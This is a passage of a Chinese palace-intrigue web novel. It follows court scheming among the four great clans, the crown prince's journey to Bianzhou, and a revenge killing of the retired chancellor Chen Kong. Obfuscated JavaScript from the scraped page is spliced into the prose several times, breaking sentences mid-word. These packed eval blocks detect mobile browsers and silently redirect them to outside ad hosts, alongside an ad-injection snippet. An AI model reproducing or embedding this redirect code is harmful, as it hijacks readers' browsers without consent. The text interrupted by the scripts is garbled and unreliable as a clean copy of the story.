隔着茶杯氤氲的蒸汽,单孟兀自笑道:“大人,您想。如今阆京有刘、张、柳、石四族鼎立。我们刘氏乃商贾起家,经历年累积方能勉强与其他三族并肩。早些年间,为柳氏最为尊宠,世代书香,帝师之族,然而如今的柳家后继乏人,唯余柳太师在东宫供职,太师一旦陨逝,柳家则将真正式微。” 刘臻听得口干舌燥,端起茶杯来润了润口舌。 “再说如今的张家。虽说张喆前些日子遭到贬职,但张家之根并不在于他,而在于驻守西南的张枫,也就是怀化大将军,且他们后宫还有一位张贵妃,更是当今三皇子的生母。”单孟语气微变,“未来之势,不可小觑。” “至于石家,从来都是农业为本,底蕴虽不如我们刘家深厚,但却掌管着天下良田,守护朝廷命脉,历来都不能轻视。” 刘臻点了点头,示意他继续往下说。 单孟抿了口茶,道:“向来是荣华富贵轮流享,如今他们各家都有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子弟参与了国子监一事,日后朝中弹劾,陛下也只能更加依赖我们刘家,大人只需静待佳音便好。” “那,那叶悬逸呢?”刘臻问道:“可是叶悬逸还是好好的啊。” 单孟忍住了敲打他那颗脑袋的冲动,摇了摇头,“大人,日后待您得了陛下赏识,自然是想怎么对待那叶悬逸便怎么对待。” 刘臻却摇了摇头,“单孟,未来事从来都说不好的,你且告诉我,如今该怎么办。” 单孟深深叹一口气,无奈道:“如今,这样拖着便好。只要有人弹劾一次其余三大家族的人,陛下定然心下厌烦,这厌烦不仅仅是对国子监里三大家族的学生,更是会蔓延至他叶悬逸,甚至会演变成埋怨。到了那时,他叶悬逸不仅得罪了陛下,也得罪了其余的三大家族,无罪也成了有罪。” 刘臻眸光发亮,“这样,他才算是彻底倒了!” 单孟微笑着点了点头。 “哈!单孟,你可真是,可真是!”刘臻拊掌大笑,“想要什么便去告诉我,我什么都愿意给你!” * 被诟病在朝廷兴风作浪,给陛下心底泼了猪油的叶帘堂打了个喷嚏,蹭得全身的伤口都在疼。 她揉了揉鼻子,将打开的窗户合小了些,坐在旁边静静的听雨声。 门忽地被推开,闪进来一团艳丽的香气。童姣一进门便四处打量,“还行,就是单调了些。” 叶帘堂忙摁住鼻子,勉得再打一次祸及全身的喷嚏,瓮声瓮气道:“寒舍鄙陋,还请童大娘子见谅。” 童姣略微一点头,评道:“还好吧,比我家阍室大点儿。” 叶帘堂的嘴角抽了抽。 童姣自顾自地挑了一把木椅坐下,没骨头似的地靠在椅背上,“你歇得倒畅快,你知不知道昨夜出了大事。” 叶帘堂将头搁在窗棂上,听着雨打廊下的“叮咚”声,笑道:“还真是什么事都逃不过您的耳朵呢,这次又怎么了?” “我和你说正经的。”童姣罕见地和椅背分开,身体略微前倾道:“听闻,陈祭酒今早辞官了。” 叶帘堂的目光望着黑漆漆的窗外,问:“为着什么事?” “为着你的事。” “我?”她笑了笑,“我有什么事能让祭酒为我辞官的?” 童姣叹一口气,抄起桌边的折扇便往她头上敲了一下,“你还不知道,昨日夜里,国子监的学生们齐刷刷跪在宫门外头,求皇帝罢了你的官呢。” “啊?”叶帘堂这下终于将目光转了回来,“这,这又是怎么回事。” 童姣哼笑一声,“还不是因为叶大人,行、事、嚣、张。” “冤枉!”叶帘堂苦号,“我何时嚣张过!” “这可由不得你说。”童姣重新靠回椅背,“那群学生皆是世家子弟,这回是陈祭酒用辞官将你们两边都暂时保下来了,就算陛下再喜欢你,下次可就不一定啰。” 叶帘堂垂眸,苦笑一声:“经此一事,恐怕那些学生要更恨我了吧。” “对喽。”童姣舒了一口气,“这样看来,你如今休假养伤,反倒是好事了。” “躲得过初一,躲不过十五啊。”叶帘堂再次将头搁在窗棂上,闷闷道:“真难。” 26. 狸奴 草木始黄,晨起时露珠凝结,待阆京八月最后一场雨落完,天气便渐渐凉了下来。 自夏末起,李意乾便不知从哪迷上了掷骰算卦,近来总爱揣两个玲珑骰子在袖中,见人便拿出来抛一抛,给人算上一卦。 骰子掷出二和二。 叶帘堂站在一旁,将右手换上新药,偏头问:“这是什么意思?” 二和二,无论拆开还是合起,都只导向一个结果,平衡又稳定。 李意乾坐在案前,抓了抓脑袋,道:“统一。” “听不明白。”叶帘堂往右手缠好了纱布,才端起骰子旁的药碗,将汤药饮尽了,苦着脸道:“我最近点儿背得很,你这‘统一’到底是好是坏?” 李意乾高深莫测地摇了摇头,并不回答,只是伸手将玲珑骰子重新装进木盒里,缓声道:“骰子里头都是学问,需得自个儿慢慢琢磨。” 叶帘堂撇了撇嘴角,捏了块梨脯塞进口里,哼笑一声:“自己学艺不精,还成天逮着人就要给他卜卦。” “天机是不可道明的。”李意乾收起木盒子,嘟囔道:“你懂什么?” 叶帘堂不欲同他在这个话题过多计较,只是问:“对了,近日陛下身子可有好些?” 自打入了秋,明昭帝的身子便愈发的不好,如今又不慎染了风寒,平日里更是卧在雪芸殿甚少出门,朝中大小事基本都交予太子料理。 “还总是咳。”李意乾叹了口气,“夜里也是,睡不好,虚汗一身一身的出。” 叶帘堂点了点头,“许是年纪上来了,我母亲也总睡不着觉。” “或许是。”李意乾叹息着道:“如今小五忙于朝政,三哥也变得不怎么爱出门了。从前热热闹闹的崇文馆,竟只剩下我们两个。” “是呀。”叶帘堂斜眼瞄着他,笑道:“最为勤奋刻苦的四殿下现如今也迷上了占卜八卦,馆内爱学习的终于是一个没有了。” 李意乾倒不怎么在意,耸一耸肩,摊牌道:“人都走完了,我还装给谁看?” 叶帘堂将一把折扇横在嘴前偷笑。 忽地,外头的竹帘被人从外挑开,闯进来个慌慌张张的青年。 二人定睛一看,原是陶青。 陶青走至二人身前,连忙弯腰行礼,慌道:“四殿下,叶侍读。太子殿下方才派人来传话,说三殿下在雪芸殿,和,和陛下吵起来了!” 叶帘堂一愣,好似自春末她说出那句“户籍新政”之后,宫闱内惯有的气味便愈来愈浓郁了。恐怕今日李意骏这事,也跟这权争内斗脱不了干系。 无论如何,宫中最凶险的斗争莫过于夺嫡。从前她看这三兄弟之间感情好,从来没往这处想过。可自从昭武副尉一事后,李意骏便逐渐退出了几人的交际圈,关系也比从前淡薄了许多…… 叶帘堂暗自绷紧神经,告诫自己万不可掉以轻心。一缓神的功夫,李意乾便出了崇文馆,向着雪芸殿的方向跑去了。 她却不想动,自经历上次那番事,她暗下决心再也不要参与这些个破事。 春末城北刺杀,叶帘堂不信皇帝猜不出是谁所做。如今因着她的事情,张喆恰好被太子处置,明昭帝心里高兴还来不及,更不会来为难她。 思及此,她便兀自坐下,使着左手慢慢写起字来。 * “北蛮人不退兵,这仗肯定要打到冬天。”明昭帝耷拉着眼皮,没精打采道:“若是冬天还得迎战,可就不仅是要给龙骨关增派军匠以供消耗的问题,还要运去多少粮饷……” “是,可如今谁人不知,开春那几场作战乎耗尽了颢州粮仓。”开口的是继张喆之位,兵统羽林卫的蒋再杞,“颢州冬天土硬垦不动,粮食种不活,明年开春一定还会饿死一批人。” 龙骨关大营是驻守北境的第一防线,一向都是靠着颢州内镜的粮仓存活,如今粮饷供不应求,是个关乎国土存留的问题。 “若是能在龙骨关同幽州之间通条粮道,二州一同为龙骨关供粮,守望相助,紧衣缩食的过一阵子,还是行得通的。”李意骏躬身开口说:“儿自愿领兵前去,开辟粮道。” “又来,殿下还真是想一出是一出啊。”只听蒋再杞冷哼一声,开口道:“说得轻巧。三殿下,您可知龙骨关同幽州之间跨着一整座峦袖岭?” 李意骏兀自低头道:“愚公移山也未尝不可。” “是,等殿下移开峦袖岭,那蛮人定然已经迁徙过境,血洗龙骨关,夺占我颢州的草场牲畜,顺带再沿着殿下您给移开的山,长驱直入,直接入我中原来了罢。” 他这话说得颇为直白,明昭帝紧了紧眉头,低声呵斥道:“慎言!” 蒋再杞这才重新靠回椅背,对着三皇子轻哼出声。 李意骏听了他这番话脸色发白,却仍固执地跪在原地,对着明昭帝一拜,道:“儿愿前去一试。” 明昭帝深深叹一口气,“你日日求朕将你遣派北境,到底是为着什么?” “儿别无所求,只是想为父皇分忧。” 明昭帝抚着眉间,咳嗽两声,问:“……太子觉得呢?” 众人目光一转,看向坐在一旁的李意卿。 他原本似乎在思考着什么,被骤然打断也只不紧不慢地起身,俯身道:“儿认为,这场仗不仅我们难,北蛮也难。” 李意卿直起身,继续道:“方才三哥所说,儿臣深以为然,但碍着峦袖岭却只得作罢,便想,与其围着地势艰难险要的龙骨关大营做打算,不如从颢州入手。” 蒋再杞身体微微像他侧去,明昭帝点了点头,“继续说。” “颢州地势平缓,邻之玄州、变州,可辟粮道,通河槽,以资往来。”他眸光稍转,“如今战事迫在眉睫,颢州当以龙骨关为急,先固其供。待冬日事成,春回之时,便可借玄、变二州之力,为颢州输粮草,以备其需。” 他这番话说得漂亮,蒋再杞不动声色地打量着他。太子虽然年纪尚轻,但已然有了从容不迫的本事。 表面瞧着温和端方,可待人反应过来时,早已被他内里不动声色的锋芒杀了个正着。 蒋再杞暗中点了头。 明昭帝嘴角挑起一抹浅淡的笑,食指虚虚点了点李意卿,缓声道:“你去办。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811246|146128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意骏猛然抬了头。 明昭帝垂下眼帘,道:“都下去罢,朕乏了。” 李意骏直起身,上前两步,道:“父亲,儿臣……” 潘福已经替皇帝拉下竹帘,只听那边沉声道:“退下。” 李意骏吐出一口气,径直于殿内跪了下来,颇有一种皇帝不答应,他便不起来的架势。 李意卿原想上前劝说两句,却直直被蒋再杞截住了步子,拉到外头去攀谈。谁想前脚刚迈出雪芸殿,里头便传来瓷器茶盏摔碎的声音。 * 日头西落,叶帘堂坐在崇文馆即将枯黄的垂藤廊下摆弄鲁班锁。 鲁班锁彼此穿插,咬合紧密,无钉无绳却能稳固若浑然一体。她解着解着便开始打瞌睡,索性将锁放在一旁,径自靠着柱子打盹。 李意卿从水桥边走过来时,瞧见的便是这一幕。 他缓步走近,原想像从前那般逗她玩。却没想这一靠近,便从快要枯败的花藤下,闻到了不知从哪泻出小半束青杏香。 像是李意卿小时候偷吃点心,将木匣开出的那一小隙。 叶帘堂忽地睁开眼,望见他呆了一瞬,而后像明白过来一般笑:“怎么,又想趁我打盹的时候吓唬我?” 李意卿话也说不利索了,只觉得身体僵硬,好半天才蹦出一句“没有”。 叶帘堂只当他是被拆穿了尴尬,伸手将边上的鲁班锁拿回来接着玩,随意问道:“怎么,三殿下那事儿解决了?” 李意卿稍稍呼了一口气,这才道:“似乎是我惹他生气了。” 叶帘堂抬眼询问,便听太子将近日雪芸殿之事细细讲了一遍,补充道:“最后还是四哥进去将三哥劝了出来……三哥他从头到尾都没再看我一眼。” “原是如此。”叶帘堂簇起眉,“只不过他为何非要去通龙骨关这事?” “我也不知。”李意卿看着夕阳簇拥着她淡青色的衣摆,忽然问:“你要和我一起去吗?” “嗯?”叶帘堂愣了半晌才反应过来他指的是何事,道:“去疏通颢州和玄州、变州之间的粮道吗?” 李意卿点了点头。 叶帘堂瞧着他的眼睛,明白他是知道自己如今处境危险,他再一走,那四大世家对她更是会肆无忌惮。 她笑了笑,逗他:“不去。” 太子望过来的目光似乎黯淡了一瞬,看起来十分委屈。 见此,叶帘堂玩心大起,问道:“你想我去吗?” “当然想!”李意卿点了点头。 叶帘堂看着他,藤廊里漏下的云影扫过他眉间的胭脂计,随着他点头的动作也忽明忽暗起来。 李意卿的发上落了一朵小花,淡淡的,衬得他眉眼愈发漂亮起来。 叶帘堂掀起一卷蟹青色长袖,伸手替他弹走,眯起眼睛生笑的面容令李意卿想起山间的小花狸奴。 她笑着同他招手,道:“方才同你开玩笑的,我当然会去。” 语罢,便走开了。 李意卿呆愣许久,才俯下身,找到方才叶帘堂替他弹开的那朵小花,轻轻拂去上面的灰,收进袖中。 27. 夜火 麦田广袤,如茵如毡。 蓝溪身处其间,清楚地知道自己又做梦了。 母亲死后的第一年他们总是饿肚子,常晚月下田劳作,收割松土时,弟弟就上村子里挨家挨户的乞讨。 第二年她手脚进步了许多,收成也不错,她用麦子换了头牛,在夏日暴晒泥土干裂之前,用牛耕耘了自家的整片土地。冬天没有挨饿。 第三年气候颇佳,甚为宜人。常晚月的土地肥沃充盈,粮食长势喜人,几乎和母亲在世时没什么两样。由于北边的战事,粮食能卖个好价钱,她喜滋滋地想,这下不仅能赚到修缮房屋的钱,还可以给自己和弟弟裁几件冬装,这样等到了大雪漫天那日,要好过许多。 蓝溪默默地看着梦中的风吹麦浪,心中再次充盈起那时的自豪。 但在秋日收割的前几日夜里,她突然被弟弟摇醒。弟弟捂着嘴,指了指窗外,橙黄色的光映着他的脸忽明忽暗。 常晚月拿起父亲的短刀,拽着弟弟轻手轻脚地翻进后仓,躲在草垛和工具的后面。 几个黑色的人影站在屋前,火把在夜色中摇曳。 “他们是谁?” “嘘——” 她看见其中一个人打了手势,另一个人拿刀轻轻挑开了卧房的窗。 “他们想要做什么……” “闭嘴。” 常晚月捂住弟弟的嘴,蹑手蹑脚地从后门跑出了谷仓,躲在河边的巨木后,趴在一地的碎石上。 那伙黑衣人从房中走出,其中一个摇了摇头,似乎是在说屋内没人。 有人冷笑一声,将手中的火把直直丢进了房内,伸手将另一只火把夺过,用力抛进了田地里。 刹那时,火光冲天,烈焰腾腾,绿波瞬间化为乌有,麦穗皆成灰烬。烟霾四起,遮天蔽日。黑衣人站在上方睨着这一切,有人在欢呼,有人在大笑。 弟弟回过头,眼珠自他瘦弱的脸颊上滚过,颤抖着抓住她的袖子,“他们为什么,为什么要……” 常晚月用力咬住下唇,伸手捂住弟弟的嘴,堵住他口中的哽咽。 夜凉如水。 常晚月仰头,看着眼前火光焰焰,吞噬一切。她用双手所创造出的一切,她流下的汗珠和承受的苦痛,一切都如同眼前遮天蔽日的浓烟,都会化为乌有。 待那伙人走后,他和弟弟仍在河边呆了许久,静默地看着最后一丝火光焚尽,一切化为灰色的废墟。 第二天早上又赶来一批人,为首的高坐马背,腰间悬着剑。 “看来已经晚了。”有人说。 为首那人目光犀利,自房屋和田野的灰烬间兜了一圈,最后定在了远处树后的一双眼睛上。 他哼笑一声,下了马,向着那处走去,道:“我看未必。” “竟还活着。”男人笑着向常晚月伸出一双手,问:“你想追上去吗?” “什么意思?”她警惕躲开的样子像极一只走投无路的小兽。 “追上去。”男人侧目看了一眼不远处的灰烬,咧开右侧的嘴角,“杀了他们,报仇解恨。” 弟弟拉住常晚月的胳膊,摇头道:“不,不要!” 她却用力将袖子从弟弟手中扯了出来,将手放在男人的手心,说:“我要去。” 男人一行马蹄飞快,没过多久便追上了那伙强盗。常晚月在暗中观察片刻,却摇了摇头,冷声道:“他不在。” “谁?” “烧我家房子的那个人。” 男人再次挑起右侧嘴角,满意地看她一眼,手指摩挲着腰间的长刀,问:“那你还要去吗?” “去。” 她轻盈的在灌木丛间奔跑,手握父亲的短刀,耳中充满人们的呼喊,刀光剑影的碰撞,以及鲜血喷涌而出的声音。 常晚月瞅准时机矮身窜出,一刀刺入黑衣人后心,惨叫着倒地。另一个男人还没拿的起刀,便被她劈进眉心,当即殒命。 战斗逐渐平息,她便一直直愣愣地盯着这两具尸体。男人取下二人的钱袋,“哗啦”一声尽数倒在常晚月的掌心,吹了声哨,笑道:“二十两,运气不错。” “二十两?”她看着手心被血污染脏的铜钱,慢慢品味着心中的奇特滋味。 太容易了。 常晚月耳中只剩下远处火烧木头发出的“噼啪”声响。 ——比起在风吹日晒的泥土里讨生活,这条路,似乎容易得太多。 她偏过头,看着那把血淋淋的短刀,等着恐惧与懊悔席卷全身。 她等了很久。 男人歪着嘴笑,问:“怎么样,是什么感觉?” 常晚月沾血的嘴唇拉扯成微笑的形状,玻璃珠似的眼睛望过来,反射着不远处的火光,收缩成一小点的瞳孔清晰可见。 蓝溪站在一边静静地看,心想:“那是兴奋。” * 叶帘堂在高地顶上勒马观望,山下便是拥挤耸立的城郊。河流将大片大片黑黢黢的森林分割开来,其中散布着或大或小的村落与土地。 “变州。”同行的还有明昭帝钦点的新科状元周言,新封巡查官,老家便是在变州。他仰头灌了口水,擦擦嘴角,“许久没回来了。” 她回头看一眼他,问:“周兄似乎并不喜欢这里?” “有吗。”周言舔了舔舌头,催马继续向前。 实话说,离这地方越近,他的内心就越不安生,也越发焦躁、烦闷、忧虑。周言说不清这是什么感觉,只是无奈地冲着叶帘堂笑了笑,道:“还好。” 车轮辘辘滚过,马儿踏着蹄子,时不时打个响鼻。 李意卿出身金贵,平素只有在猎场上跑马的份儿。如今长途劳顿,风吹日晒,娇花早在马车里蔫得不省人事了。 叶帘堂缓下马蹄,同马车并排,隔着帘子问:“殿下好些了吗?” 李意卿撩开半截车帘,露出一张没有血色的脸,虚弱道:“还是晕。” 叶帘堂略略一点头,想了想,问:“要吃桃儿吗?” “不必,都是我拖慢了脚程,否则昨日便能赶到了。”李意卿一摆手,揉着脑袋道:“继续走吧,我还撑得住。” 叶帘堂将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13811247|146128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰间的水壶递进去,便听前头的周言道:“殿下再忍忍,变州的野蔬很好吃。” 李意卿稍稍打起些精神,将头搁在窗棱上,问:“都有什么样式?” “春日消了雪,娘便常摘香椿和荠菜做成包子给我吃。夏日会凉调苦菜和灰灰菜,适合消暑。”周言嘴角轻轻勾起一抹笑,“秋日有野菊花和车前草,不过我觉得有些苦,不好吃。冬日里便吃储存的野菜干品,也不错。” 叶帘堂咽了咽口水,“真好,阆京的野蔬跟金子一样贵,进了变州城我定要多尝一些!” 李意卿也笑,“不过现下进城也就只有野菊花和车前草了嘛,周大人说苦得很。” “唔,还是不错的,只是我不大爱吃。”周言抿了抿嘴,眯着眼看了看斜阳,压下心中的不安慢慢说:“就快到了。” * “祭酒……” 陈箜摆了摆手,“我已辞官,可别再叫我祭酒。” “……先生仕于朝廷三十余载,如今却时逢纷扰,受学生所困。”仆人叹一口气,替他将包袱收拾好,闷闷道:“就这样辞官还乡了,真不值当……” “什么值当不值当。”陈箜垂下眼帘,他久病沉疴,已经不能长久的站立,“我命已至残阳,还管这些做什么?” 忽然,木门被叩响,仆人放下包袱将门拉开,只见眼前立着个眉清目秀的小公子,看着十分瘦弱,便问:“您是?” “我是来找陈祭酒的。”蓝溪抬眼笑了笑,道:“我姓常。” 仆人簇起眉头,问:“还请问公子官职……” “让她进来罢。”里头忽然传来陈箜疲惫的声音,“……让她进来。” 仆人愣了片刻,便侧开身子,退出房间合上了门。 “我还以为您不会让我进来呢。”蓝溪缓步走进,目光扫过他的居室,道:“您贵人多忘事,恐怕早已不记得我了。” “常静思,是不是?”陈箜的嘴角动了动,做出算是微笑的表情,“我知道你一定会来。” “我很意外,不过,我不是那个蠢货。”蓝溪挑了挑眉,笑道:“我是他姐姐。” 陈箜的眼神在她身上落了片刻,叹了口气,“你想做什么?” “您一定要和我扯这些有的没的吗?”蓝溪冷笑一声,“大人您做缩头乌龟做了七年,如今倒是硬气起来了?” 语罢,她的眼神瞟过一旁的包袱,停顿了片刻,“哦,或许是在打算在另一条路继续做缩头乌龟。” 陈箜平静地抬起眼睛,似乎染上了些许疲惫,“你没带上那把刀吗?” “我拜读过您的文章,‘言辞之利,甚于刀锋’。”蓝溪偏了偏头,“我多费了许多功夫,才领悟到此话真意。” 陈箜摇了摇头,“吾辈皆囚于时局,时局迫我,除了沉默,别无选择。” “时局,时局……你们这类人总喜欢将它挂在嘴边。”蓝溪怒道:“可你当初分明有选择!” 她颤抖地指向他,“若不是你,苟且偷生,贪生怕死,将我和阿娘弃之于不顾,又……何至于此!” 28. 谷东 “迟了,太迟了。”陈箜苦笑着摇头,“我不像你父亲,总能正确预见形势,抢占先机。” “他预见的并不都是准确。”蓝溪冷笑一声,“否则,他也不会因为你,落成那个下场。” 陈箜鼓起两腮,垂下目光,慢慢道:“你根本不明白,时局所迫……” “当年,阆京四族还是常、张、柳、石。常家手握重兵,你父亲更是掌管着龙骨关大营及一整条北方防线。”他目光微动,已然陷入回忆,“那真是雄飞霸道、决胜千里的干城之将。” 蓝溪不自觉攥紧手指。 “你父亲战功赫赫,威名远播,算是荣华盖世,拔得四大家的头筹。然,盛极必衰啊,他功高震主,惹得陛下心存忌惮,你父亲自然也明白其中道理。他每胜一次,陛下的心头刺便更深几分,可守土有责,他不能不胜。”陈箜叹一口气,“他不欲招起忌恨,便于一战中奋身相搏,欲死明志,保全常家。” 蓝溪听此冷哼一声,“愚忠。” 陈箜摇了摇头,继续道:“幸得天佑,你父亲一身伤体得汝母所救。借机死遁,从此隐姓埋名,遁世隐居,以护家族。” “本来就该到此结束了吧。”蓝溪轻蔑地看他一眼,道:“先生不妨说说,为了升官,是如何将我父亲供出去的?” 陈箜动了动嘴却没有说出话,最终闭上眼睛,轻声道:“我为刘家办事,能改变什么呢……浊世里打滚,就只能同流合污。” “荒唐!”蓝溪忍不住吼道:“我父亲待你不薄!你出身颢州,是我父亲举荐你入京,让你在先太师手下求学,你才能得此仕途!当初刘家为挤进四大氏族,专派人探查此事,你分明可以拦下,却为着自身,躲在暗处做缩头乌龟!” “我并不知晓陛下竟会心狠至此!”陈箜脱口而出,“若我事先知道,我一定不会,不会……” 蓝溪静静等他半刻,却未能听见他“不会”后头的字眼。她咬住下唇,用力抑制住眼泪。 “原来你已经探查到如此之深。”陈箜苦笑两声,仰头靠在椅背上,轻声道:“晚月,我出身寒门,只是一介小官,没有你父亲的底气,更没有他的远见,稍有不慎便会被洪流碾过……我没有办法。” 他颤抖着叹息一声,语气缓缓,“孩子,现下抽身还来得及。这个浊世,能躲就躲罢。” “……这样说,我比你出身凄惨多了。”蓝溪擦了擦眼角,忽然笑了起来,“不过四个月,我就已做到了三皇子的内侍。” “躲?那是给像你这般的懦夫留下的道路。”她红着眼,笑道:“我起得早,小时候在漆黑之中挖泥巴松土,现在天没亮就开始磨刀。” “我向来坚定自己的做法正确,从不被琐碎的念头绊住脚步。此外最重要的,我每天都在拼了命的赶路。” 陈箜猛地抬眼,面色苍白,良久道:“……你什么意思?” “我什么意思?”蓝溪鹦鹉学舌,故意朝着他瞪大眼睛,“先生,我与你不同。” 她逼近陈箜,缓缓俯下身,“直到死,我都不会躲。” 陈箜皱紧眉头,说:“你还是不明白,你的身份迟早有一天会暴露,到时陛下得知,你觉得还会留下你吗?”他摇头,“在这个时局里,活不长久的。” “这个时局?”蓝溪的手指自袖中抓紧某物,猛地刺入眼前人的胸膛,“我当然知道,而且,我已经再想办法了。” 陈箜只觉胸口一凉,却不敢向下看,只是痛苦地抽搐了一下,“你是想……” “是啊,你现在才想到确实迟了许多。”蓝溪将短刀拔出,嘴角挂着笑,再次狠狠刺入,“我当然要活在有利于我的时局里。” 她身体前倾,替陈箜说出那贯穿他整个人生的词句,“时局迫我……” 蓝溪将短刃插进他的胸口,最后再深深看一眼面前摇摇欲坠的老人,“……我便掀翻它。” 她握着陈箜的手,搭在刀柄上,嗤道:“我确实没带我父亲留下的那一把刀。” 晚云渐收。 蓝溪用丝绢将手指简单地擦了擦,侧头看一眼还在外头等待的仆从,慌乱地冲出门去,喊道:“快,快来人,先生他自尽了!” * “别拉我,让我再来一杯!” 崔玄成,将变州从一片小土坡拉扯成如今连接南北的粮道枢纽的刺史大人,现下正歪歪扭扭地靠在小巷的墙角,从在腰间摸索出一个金鱼袋,手指伸进去,却只抓出了一把替代被替换掉的碎石子来。 “又是哪个诈狡鼠辈!”他怒火上涌,将鱼袋连同里头的碎石子一同甩进了阴沟,可掷出的瞬间又后悔起来,只好弓着腰摸黑去找。 漆黑夜幕下,任凭他怎样瞪大双眼都看不清东西,没一会儿他就觉得腰酸背痛,直不起身来。 “像个老头一样。”他想。 忽地眼底下什么东西闪了闪,他下意识望过去,刚好撞见自己在黑水洼间残破的倒影。 倒是忘了,他现在已然是个老头。 死气沉沉、萎靡不振、苟延残喘的,老头。 崔玄成缓缓蹲下,抱住醉意上涌的头颅。他愿意付出一切来换一口酒,但他却很清楚,自已早已身无长物。 除却刺史的虚名,他还剩下什么呢? 那双从前牧民一方,干劲十足的双手;那双曾经预见许多转折点的眼睛;那张曾在春日宴上力压群雄的唇舌……一切的一切都变得奄奄一息。 “像是那只铜钱被偷偷换成石子的金鱼袋。”崔玄成混乱地想,“到底是什么时候被换掉的呢?” “扔到哪去了!”他哀嚎道。 “半夜三更,不睡觉啊!”深巷中有人怒吼一声,接着是木门被重重关上的“哐当”声,整条巷子陷入更浓重的黑暗。 他曾经被先帝邀入宫宴,同各大世家贵族推杯换盏。崔玄成这个名字曾被多少人邀为府中座上宾。 “何以……至此?”他扶着酸痛的腰直起身来,忍住喉头的腥甜,将发冠扶正,捋着唇下稀疏的胡须,试图装出从前那目空一切的模样来,走在低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13811248|146128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矮的房屋之间。 月光下落,有人在喊他的名字。 崔玄成回过身去,来寻他的是府上幕宾,河东兖州人,名叫邹允,是崔玄成从前在阆京的同窗。此刻他正提着灯,快步向着崔玄成走来。 “大人,您怎的又喝这样多?”邹允搀扶住他,替他拍了拍身上的尘土。 “钱被偷了。”崔玄成接过灯笼,撇嘴委屈道:“鱼袋也丢了。” 邹允叹一口气,“丢了再换新的不就成了。秋夜里凉,大人小心被风吹坏了腿。” “那是我最后一个鱼袋了。”崔玄成脑中天旋地转,胡乱说道:“我在阆京的最后一点东西都剩不下……” “大人,您糊涂了。”邹允架住他的胳膊,缓声道:“方才来消息,说是太子殿下已经穿过首阳谷,不日便要抵达变州了,让他瞧见您这个样子多不好?” 说及此,崔玄成终于清醒过来一些,“我知道。可是,可是……” “您担心千子坡的山匪,是不是?”邹允接道。 “呸!”崔玄成气道:“那一山窝子的流寇匪徒,变州如今叫他们欺负的税都交不齐,我有何颜面对太子殿下?” “千子坡那伙人成日里就盯着我们变州的粮仓看,稍稍有点起色全叫他们给抢走了!谁知道他们中间有什么人,那上报朝廷的奏折是一封都送不进去!”语罢,崔玄成跺了跺脚,继续道:“我眼睁睁看着他越做越大,真是心里越急越没用!” 邹允试图插话,“大人,您听我……” “我看千子坡那伙人再这么做下去,那王秦岳迟早要成我们北谷的地头蛇、土皇帝!”崔玄成越说越起劲,“恨就恨咱们谷东没有军,全是群只会读书的软蛋子,颢州还好一些,王秦岳不敢去招惹龙骨关,咱们变州和玄州就惨了!自从两年前洪水冲垮粮道,朝廷迟迟不批银两下来,咱们变、玄两州还真就成了他王秦岳的粮仓了!有事没事就要过来搜刮一番……” “大人!”邹允终于忍无可忍,大声打断道:“大人,您喝酒真是误事!方才我不已经同你说了,太子殿下将要过来?” “那又怎么?殿下来了看到我这变州一片狼藉……”崔玄成猛地一拍脑门,“啊!那咱们变州不就是有救了?” “是啊!”邹允扶着崔玄成慢慢道:“太子殿下一来,不就成了我们变州的‘兵’了嘛!有殿下在此坐镇,那王秦岳还敢造次?” “这……”崔玄成皱眉道:“可王秦岳可是从山头真刀实枪拼出来的,太子殿下自小养在阆京,哪里应付的了。” “崔大人!”邹允晃了晃他,似乎是想将他脑子里那点糊涂虫全都晃出来,“哪里真的需要太子殿下领兵打仗!太子得知了此事,那陛下定然也会得知此事!若是太子殿下修书一封,路上还敢有人截他的信不成?” “……是哦。”崔玄成终于战胜美酒的侵蚀,打起精神,“那咱们快些回府,早早将宴席上的菜品备好,殿下一来便能吃上!” 邹允笑着点了点头,道:“正是如此。” 29. 变州 第二日,太子一行人便已到了变州城下,崔玄成大开城门,喜庆洋洋地迎人入内。他原想请呈酒席,却被巡查官周言挡下了,说殿下一路舟车劳顿,定是咽不下什么,准备一桌家常菜,清清淡淡的便好。 叶帘堂换好衣裳,在外院小亭下坐着等。抬眼看见周言缓步走来,笑了笑,问:“方才我见崔刺史边上还站了个人,他是谁?” “邹允。”周言低头将腰上挂着的玉坠穗子理顺,“是崔大人的幕宾,河东兖州人。” “原来是同乡。”叶帘堂点了点头,望见李意卿收拾好了正向着这边走,便站起身来,低声道:“我看崔刺史神采飞扬,似乎是变州有事。等待会儿谈话,咱们需得多留心听着些。” “我知道的。”周言点了点头。 